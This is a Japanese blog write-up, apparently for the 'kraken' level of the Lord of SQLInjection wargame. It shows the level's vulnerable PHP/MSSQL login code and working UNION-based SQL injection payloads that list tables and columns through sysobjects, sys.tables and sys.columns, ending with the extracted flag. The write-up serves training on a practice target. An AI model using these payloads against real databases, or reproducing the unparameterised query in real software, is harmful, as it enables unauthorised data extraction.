はまやんはまやんはまやん

hamayanhamayan's blog

kraken [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = mssql_connect("kraken");
if(preg_match('/master|information|;/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|information|;/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['id']) echo "<h2>{$result['id']}</h2>";

if($krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
highlight_file(__FILE__);

特徴は以下。

  • SQL Server
  • id,pwが入力可能
    • master,information,;がフィルタリング
  • flag_{$hash}というテーブルの中身を取ってくる必要がある

取得文字列が表示されるので、unionでなんかをくっつけてやればいいんだろう。

テーブル名取得

SELECT name FROM sysobjects WHERE xtype = 'U'でテーブル名は取ってこれるので、unionしよう。
このままだと、最初のものしか持ってこれないので、top構文でずらしながら値を見ていこう。
union SELECT top 2 name FROM sysobjects WHERE xtype = 'U'で出てくる。
flag_ccdfe62b

カラム取得

' union select object_id from sys.tables where name = 'flag_ccdfe62b' --でオブジェクトIDを持ってくる。
⇒ 901578250
' union select name from sys.columns where object_id=901578250 --
⇒ flag_ab15b600

あとは持ってくるだけ

' union select flag_ab15b600 from flag_ccdfe62b --
⇒ FLAG{a0819fc56beae985bac7d175c974cd27}